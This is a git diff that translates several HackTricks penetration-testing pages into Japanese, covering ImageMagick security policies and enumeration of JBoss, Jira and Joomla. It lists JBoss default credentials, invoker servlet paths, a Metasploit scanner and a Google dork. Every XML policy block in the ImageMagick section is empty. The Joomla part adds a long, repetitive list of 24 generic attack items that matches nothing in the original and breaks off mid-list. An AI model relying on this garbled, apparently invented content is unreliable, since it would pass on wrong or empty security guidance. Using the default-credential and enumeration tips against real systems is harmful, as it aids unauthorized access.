decided to study the effects of all the options accepted by ImageMagick’s security policy parser and write a [tool to assist both the developers and the security teams in designing and auditing these files](https://imagemagick-secevaluator.doyensec.com/). Because of the number of available options and the need to explicitly deny all insecure settings, this is usually a manual task, which may not identify subtle bypasses which undermine the strength of a policy. It’s also easy to set policies that appear to work, but offer no real security benefit. The tool’s checks are based on our research aimed at helping developers to harden their policies and improve the security of their applications, to make sure policies provide a meaningful security benefit and cannot be subverted by attackers. +これを踏まえ、ImageMagickのセキュリティポリシーパーサーが受け入れるすべてのオプションの効果を調査し、[開発者とセキュリティチームの両方がこれらのファイルの設計と監査を支援するためのツール](https://imagemagick-secevaluator.doyensec.com/)を作成することにしました。利用可能なオプションの数とすべての安全でない設定を明示的に拒否する必要があるため、これは通常手作業で行われますが、これによりポリシーの強度を損なう微妙なバイパスを特定できない場合があります。また、動作するように見えるが、実際にはセキュリティ上の利益を提供しないポリシーを設定することも簡単です。このツールのチェックは、開発者がポリシーを強化し、アプリケーションのセキュリティを向上させるための私たちの研究に基づいており、ポリシーが意味のあるセキュリティ上の利益を提供し、攻撃者によって回避されることがないことを確認します。 -The tool can be found at [imagemagick-secevaluator.doyensec.com/](https://imagemagick-secevaluator.doyensec.com/). +ツールは[imagemagick-secevaluator.doyensec.com/](https://imagemagick-secevaluator.doyensec.com/)で見つけることができます。 -### Allowlist vs Denylist approach - -A number of seemingly secure policies can be found online, specifying a list of insecure coders similar to: +### ホワイトリスト対ブラックリストアプローチ +オンラインで見つかるいくつかの安全なように見えるポリシーでは、次のような安全でないコーダーのリストが指定されています: ```xml - ... - - - - - - - - - - - - - - - ... +... + + + + + + + + + + + + + + +... ``` - -In ImageMagick 6.9.7-7, an [unlisted change](https://blog.awm.jp/2017/02/09/imagemagick-en/) was pushed. The policy parser changed behavior from disallowing the use of a coder if there was at least one `none`-permission rule in the policy to respecting the last matching rule in the policy for the coder. This means that it is possible to adopt an allowlist approach in modern policies, first denying all coders `rights` and enabling the vetted ones. A more secure policy would specify: - +ImageMagick 6.9.7-7では、[非公開の変更](https://blog.awm.jp/2017/02/09/imagemagick-en/)が行われました。ポリシーパーサーの動作が変更され、ポリシー内に少なくとも1つの`none`パーミッションルールがある場合にはコーダーの使用を許可しないようになりました。代わりに、ポリシー内の最後にマッチするルールをコーダーに対して適用するようになりました。これにより、モダンなポリシーではホワイトリストアプローチを採用することが可能であり、まずすべてのコーダーに対して`rights`を拒否し、検証済みのコーダーのみを有効にすることができます。より安全なポリシーは以下のように指定されます: ```xml - ... - - - - ... +... + + + +... ``` +### 大文字と小文字の区別 -### Case sensitivity - -Consider the following directive: - +以下のディレクティブを考えてみましょう: ``` - ... - - ... +... + +... ``` +これにより、変換は許可され続けます。ポリシーパターンは大文字と小文字を区別するため、コーダーとモジュールは常に大文字で指定する必要があります(例:「EPS」ではなく「eps」)。 -With this, conversions will still be allowed, since policy patterns are case sensitive. Coders and modules must always be upper-case in the policy (e.g. “EPS” not “eps”). +### リソース制限 -### Resource limits +ImageMagickのサービス拒否攻撃は非常に簡単に実行できます。新しいペイロードを取得するためには、最近のGithubリポジトリで報告された問題の中から[「oom」](https://github.com/ImageMagick/ImageMagick/issues?q=oom)や類似のキーワードを検索することが便利です。これは、潜在的に悪意のある入力を受け入れるImageMagickインスタンス(通常の場合)が常に攻撃の対象になる可能性があるため、問題です。そのため、ツールはポリシーによって明示的に適切な制限が設定されていない場合にも報告します。 -Denial of service in ImageMagick is quite easy to achieve. To get a fresh set of payloads it’s convenient to search [“oom”](https://github.com/ImageMagick/ImageMagick/issues?q=oom) or similar keywords in the recently opened issues reported on the Github repository of the library. This is an issue since an ImageMagick instance accepting potentially malicious inputs (which is often the case) will always be prone to be exploited. Because of this, the tool also reports if reasonable limits are not explicitly set by the policy. - -### Policy fragmentation - -Once a policy is defined, it’s important to make sure that the policy file is taking effect. ImageMagick packages bundled with the distribution or installed as dependencies through multiple package managers may specify different policies that interfere with each other. A quick `find` on your local machine will identify multiple occurrences of `policy.xml` files: +### ポリシーの断片化 +ポリシーが定義されたら、ポリシーファイルが効果を発揮していることを確認することが重要です。ディストリビューションにバンドルされたImageMagickパッケージや複数のパッケージマネージャを介してインストールされた依存関係によって、干渉し合う異なるポリシーが指定される場合があります。ローカルマシンでの`find`コマンドを使用すると、複数の`policy.xml`ファイルの出現箇所を特定できます: ```shell-session $ find / -iname policy.xml @@ -95,64 +88,55 @@ $ find / -iname policy.xml /opt/ImageMagick-7.0.11-5/www/source/policy.xml ``` +ポリシーは、[-limit](https://imagemagick.org/script/command-line-options.php#limit) CLI引数、[MagickCore API](https://imagemagick.org/api/resource.php#SetMagickResourceLimit)メソッド、または環境変数を使用して設定することもできます。 -Policies can also be configured using the [-limit](https://imagemagick.org/script/command-line-options.php#limit) CLI argument, [MagickCore API](https://imagemagick.org/api/resource.php#SetMagickResourceLimit) methods, or with environment variables. - -### A starter, restrictive policy - -Starting from the most restrictive policy described in the official documentation, we designed a restrictive policy gathering all our observations: +### 初心者向けの制限のあるポリシー +公式ドキュメントで説明されている最も制限のあるポリシーを出発点に、私たちの観察結果をすべて集約した制限のあるポリシーを設計しました。 ```xml - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + ``` - -You can verify that a security policy is active using the `identify` command: - +セキュリティポリシーがアクティブであることを`identify`コマンドを使用して確認できます: ``` identify -list policy Path: ImageMagick/policy.xml ... ``` - -You can also play with the above policy using our evaluator tool while developing a tailored one. - - - - +上記のポリシーを使用して、カスタマイズされたポリシーを開発中に評価ツールを使用することもできます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/network-services-pentesting/pentesting-web/jboss.md b/network-services-pentesting/pentesting-web/jboss.md index f61af29e8..dc2681878 100644 --- a/network-services-pentesting/pentesting-web/jboss.md +++ b/network-services-pentesting/pentesting-web/jboss.md @@ -4,45 +4,43 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もし**ハッキングのキャリア**に興味があり、**解読不能なものを解読する**ことに興味があるなら、**採用しています!**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} -## Enumeration +## 列挙 -The _/web-console/ServerInfo.jsp_ and _/status?full=true_ web pages often reveal **server details**. +_/web-console/ServerInfo.jsp_と_/status?full=true_のウェブページは、しばしば**サーバーの詳細**を明らかにします。 -You can expose **management servlets** via the following paths within JBoss (depending on the version): _/admin-console_, _/jmx-console_, _/management_, and _/web-console_. Default credentials are **admin**/**admin**. Upon gaining access, you can use available invoker servlets to interact with exposed MBeans: +JBoss内で**管理サーブレット**を公開することができます。バージョンによって以下のパスがあります:_/admin-console_、_/jmx-console_、_/management_、_/web-console_。デフォルトの資格情報は**admin**/**admin**です。アクセス権を取得した後、公開されたMBeanとのやり取りに使用できる利用可能なInvokerサーブレットを使用できます: -* /web-console/Invoker (JBoss versions 6 and 7) -* /invoker/JMXInvokerServlet and /invoker/EJBInvokerServlet (JBoss 5 and prior) +* /web-console/Invoker(JBossバージョン6と7) +* /invoker/JMXInvokerServletと/invoker/EJBInvokerServlet(JBoss 5以前) -**You can enumerate and even exploit a JBOSS service using** [**clusterd**](https://github.com/hatRiot/clusterd)\ -**Or using metasploit:** `msf > use auxiliary/scanner/http/jboss_vulnscan` +**[clusterd](https://github.com/hatRiot/clusterd)を使用してJBOSSサービスを列挙し、さらには悪用することができます。**\ +**または、metasploitを使用する:** `msf > use auxiliary/scanner/http/jboss_vulnscan` -### Exploitation +### 悪用 [https://github.com/joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) ### Google Dork - ``` inurl:status EJInvokerServlet ``` - -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -50,10 +48,10 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を広告**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するために、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md index c3582476f..ba4e4a5e9 100644 --- a/network-services-pentesting/pentesting-web/jira.md +++ b/network-services-pentesting/pentesting-web/jira.md @@ -1,34 +1,30 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Check Privileges - -Inside a Jira instance **any user** (even **non-authenticated**) can **check its privileges** in `/rest/api/2/mypermissions` or `/rest/api/3/mypermissions` . These endpoints will return your current privileges.\ -If a **non-authenticated** user have any **privilege**, this is a **vulnerability** (bounty?).\ -If an **authenticated** user have any **unexpected privilege**, this a a **vuln**. +## 特権の確認 +Jiraインスタンス内では、**どのユーザー**(**非認証ユーザー**も含む)でも`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`で**特権を確認**できます。これらのエンドポイントは現在の特権を返します。\ +**非認証ユーザー**が**特権を持っている**場合、これは**脆弱性**(バウンティ?)です。\ +**認証済みユーザー**が**予期しない特権**を持っている場合、これは**脆弱性**です。 ```bash #Check non-authenticated privileges curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true' ``` - -## Automated enumeration +## 自動列挙 * [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe) * [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan) @@ -38,16 +34,14 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**するか、[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/network-services-pentesting/pentesting-web/joomla.md b/network-services-pentesting/pentesting-web/joomla.md index 42aeabc4e..5f9e537f3 100644 --- a/network-services-pentesting/pentesting-web/joomla.md +++ b/network-services-pentesting/pentesting-web/joomla.md @@ -4,60 +4,57 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -### Joomla Statistics - -Joomla collects some anonymous [usage statistics](https://developer.joomla.org/about/stats.html) such as the breakdown of Joomla, PHP and database versions and server operating systems in use on Joomla installations. This data can be queried via their public [API](https://developer.joomla.org/about/stats/api.html). +### Joomlaの統計 +Joomlaは、Joomlaのインストールで使用されているJoomla、PHP、データベースのバージョン、およびサーバーのオペレーティングシステムなど、いくつかの匿名の[使用統計](https://developer.joomla.org/about/stats.html)を収集しています。このデータは、公開されている[API](https://developer.joomla.org/about/stats/api.html)を介してクエリできます。 ```bash curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool { - "data": { - "cms_version": { - "3.0": 0, - "3.1": 0, - "3.10": 6.33, - "3.2": 0.01, - "3.3": 0.02, - "3.4": 0.05, - "3.5": 12.24, - "3.6": 22.85, - "3.7": 7.99, - "3.8": 17.72, - "3.9": 27.24, - "4.0": 3.21, - "4.1": 1.53, - "4.2": 0.82, - "4.3": 0, - "5.0": 0 - }, - "total": 2951032 - } +"data": { +"cms_version": { +"3.0": 0, +"3.1": 0, +"3.10": 6.33, +"3.2": 0.01, +"3.3": 0.02, +"3.4": 0.05, +"3.5": 12.24, +"3.6": 22.85, +"3.7": 7.99, +"3.8": 17.72, +"3.9": 27.24, +"4.0": 3.21, +"4.1": 1.53, +"4.2": 0.82, +"4.3": 0, +"5.0": 0 +}, +"total": 2951032 +} } ``` +## 列挙 -## Enumeration - -### Discovery/Footprinting - -* Check the **meta** +### 発見/フットプリンティング +* **メタ**をチェックする ```bash curl https://www.joomla.org/ | grep Joomla | grep generator ``` - * robots.txt +ロボット.txt ``` # If the Joomla site is installed within a folder # eg www.example.com/joomla/ then the robots.txt file @@ -67,49 +64,155 @@ curl https://www.joomla.org/ | grep Joomla | grep generator # paths. [...] ``` +# Joomla -* README.txt +## 概要 +Joomlaは、人気のあるオープンソースのコンテンツ管理システム(CMS)です。このCMSは、ウェブサイトの作成と管理を容易にするために使用されます。Joomlaは、PHPで書かれており、MySQLデータベースを使用しています。 + +## ペンテストの手法 + +### 1. Joomlaのバージョンの特定 + +Joomlaのバージョンを特定することは、脆弱性の評価と攻撃の計画に重要です。以下の方法でバージョンを特定できます。 + +- `/administrator/manifests/files/joomla.xml`にアクセスしてバージョンを確認する。 +- `/administrator/manifests/files/joomla.xml`にアクセスして、``タグの値を確認する。 +- `/language/en-GB/en-GB.xml`にアクセスして、``タグの値を確認する。 + +### 2. デフォルトのクレデンシャルの確認 + +Joomlaのデフォルトのクレデンシャルを使用してログインできるかどうかを確認します。以下のデフォルトのクレデンシャルを試してみてください。 + +- ユーザー名:`admin`、パスワード:`admin` +- ユーザー名:`administrator`、パスワード:`administrator` + +### 3. ファイルのアップロード + +Joomlaのファイルアップロード機能を悪用して、任意のファイルをアップロードすることができます。アップロードされたファイルを使用して、コードの実行やシステムへのアクセスを試みることができます。 + +### 4. SQLインジェクション + +JoomlaのSQLインジェクション脆弱性を悪用して、データベースから情報を抽出したり、データを改ざんしたりすることができます。SQLインジェクションのテストを実施し、脆弱性を特定します。 + +### 5. パスワードリセットの悪用 + +Joomlaのパスワードリセット機能を悪用して、他のユーザーのパスワードをリセットすることができます。これにより、他のユーザーのアカウントにアクセスできる可能性があります。 + +### 6. プラグインの脆弱性 + +Joomlaのプラグインには、脆弱性が存在する場合があります。脆弱性のあるプラグインを特定し、攻撃のためのエクスプロイトを見つけます。 + +### 7. ファイルの読み取りと書き込み + +Joomlaのファイルシステムに対して読み取りと書き込みの権限を持つことができれば、機密情報の抽出やシステムの改ざんが可能になります。ファイルシステムの権限を確認し、必要な権限を取得します。 + +### 8. データベースの情報の抽出 + +Joomlaのデータベースには、ウェブサイトの重要な情報が格納されています。データベースから情報を抽出し、攻撃のための有用な情報を見つけます。 + +### 9. リモートコード実行 + +Joomlaのリモートコード実行脆弱性を悪用して、任意のコードを実行することができます。リモートコード実行の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 10. ディレクトリトラバーサル + +Joomlaのディレクトリトラバーサル脆弱性を悪用して、ウェブサイトのファイルシステムにアクセスすることができます。ディレクトリトラバーサルの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 11. セッションハイジャック + +Joomlaのセッションハイジャック脆弱性を悪用して、他のユーザーのセッションを奪取することができます。セッションハイジャックの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 12. ディレクトリリスティング + +Joomlaのディレクトリリスティング脆弱性を悪用して、ウェブサイトのディレクトリ構造を表示することができます。ディレクトリリスティングの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 13. クロスサイトスクリプティング(XSS) + +Joomlaのクロスサイトスクリプティング(XSS)脆弱性を悪用して、ユーザーのセッションを乗っ取ったり、悪意のあるスクリプトを実行したりすることができます。XSSの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 14. リダイレクト攻撃 + +Joomlaのリダイレクト攻撃脆弱性を悪用して、ユーザーを悪意のあるウェブサイトにリダイレクトすることができます。リダイレクト攻撃の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 15. ファイルインクルージョン + +Joomlaのファイルインクルージョン脆弱性を悪用して、任意のファイルを読み込むことができます。ファイルインクルージョンの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 16. リモートファイルインクルージョン + +Joomlaのリモートファイルインクルージョン脆弱性を悪用して、リモートサーバー上のファイルを読み込むことができます。リモートファイルインクルージョンの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 17. ディレクトリブラウジング + +Joomlaのディレクトリブラウジング脆弱性を悪用して、ウェブサイトのディレクトリ内のファイルを表示することができます。ディレクトリブラウジングの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 18. ファイルダウンロード + +Joomlaのファイルダウンロード機能を悪用して、ウェブサイトのファイルをダウンロードすることができます。ファイルダウンロードの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 19. ファイルの削除 + +Joomlaのファイル削除機能を悪用して、ウェブサイトのファイルを削除することができます。ファイル削除の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 20. ファイルの実行 + +Joomlaのファイル実行機能を悪用して、任意のコードを実行することができます。ファイル実行の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 21. ファイルの移動 + +Joomlaのファイル移動機能を悪用して、ウェブサイトのファイルを移動することができます。ファイル移動の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 22. ファイルのコピー + +Joomlaのファイルコピー機能を悪用して、ウェブサイトのファイルをコピーすることができます。ファイルコピーの脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 23. ファイルの圧縮と解凍 + +Joomlaのファイル圧縮と解凍機能を悪用して、ウェブサイトのファイルを圧縮または解凍することができます。ファイル圧縮と解凍の脆弱性を特定し、攻撃のためのエクスプロイトを見つけます。 + +### 24. ファイルの表示 + 